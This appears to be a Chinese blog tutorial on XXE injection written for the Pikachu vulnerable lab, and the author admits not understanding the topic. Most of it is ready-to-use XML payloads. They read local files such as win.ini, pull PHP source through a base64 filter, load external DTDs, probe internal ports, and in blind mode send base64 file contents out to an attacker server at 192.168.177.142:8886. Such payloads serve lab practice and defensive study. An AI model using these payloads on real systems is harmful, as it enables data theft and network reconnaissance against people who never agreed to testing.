这里我们来学习一下pickchu靶场的漏洞
我们在这一节需要掌握什么是xxe,具体请自行收集材料,博主也不清楚
但网站如果存在xxe漏洞的话,我们可以如下利用
一·、最简单的攻击
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "你看我漂亮吗?" > ]>
<foo>&xxe;</foo>
它会回显xxe元素中的内容。
二、查看文件
当你的元素内容是一个file协议,即可在回显处显示内容
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
三、查看源码
众所周知php文件是不在前端显示的,如果我们想看怎么办呢
这就需要神奇的base64编码出场了,加码调用解码即可观看秘密文件哦!
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/pikachu-master/vul/rce/rce.php" > ]>
<foo>&xxe;</foo>
有需要请自行前往在线解码网站
四、外部调用
这是一个外部dtd文件
<!ENTITY evil SYSTEM "file:///c:/windows/system.ini">
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini">
连接到dtd文件即可调用文件内容
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://127.0.0.1/evil.dtd">
%xxe;
]>
<foo>&evil;</foo>
五、探测内网存活主机与开放端口
访问一个端口,如果开启则无延迟若为开启则网页会不断读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80">
]>
<x>&rabbit;</x>
六、无回显探测
以上探测为网站有回显时的语句,那么一个网站若是没有回显我们该如何处理呢?
我们应该首先搞一个服务器然后把文件我们输入的数据指向我们的服务器
如这是一个外置dtd文件
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://192.168.177.142:8886/?%file;'>">
%start;
这是我们要提交的数据
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://127.0.0.1/text.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.php">
%remote;
%send;]>
再搞个服务器不断接受8886端口的数据
你只要提交就可以获得被加码的数据然后自行解码即可!接下来就是实战了,去找几个靶机吧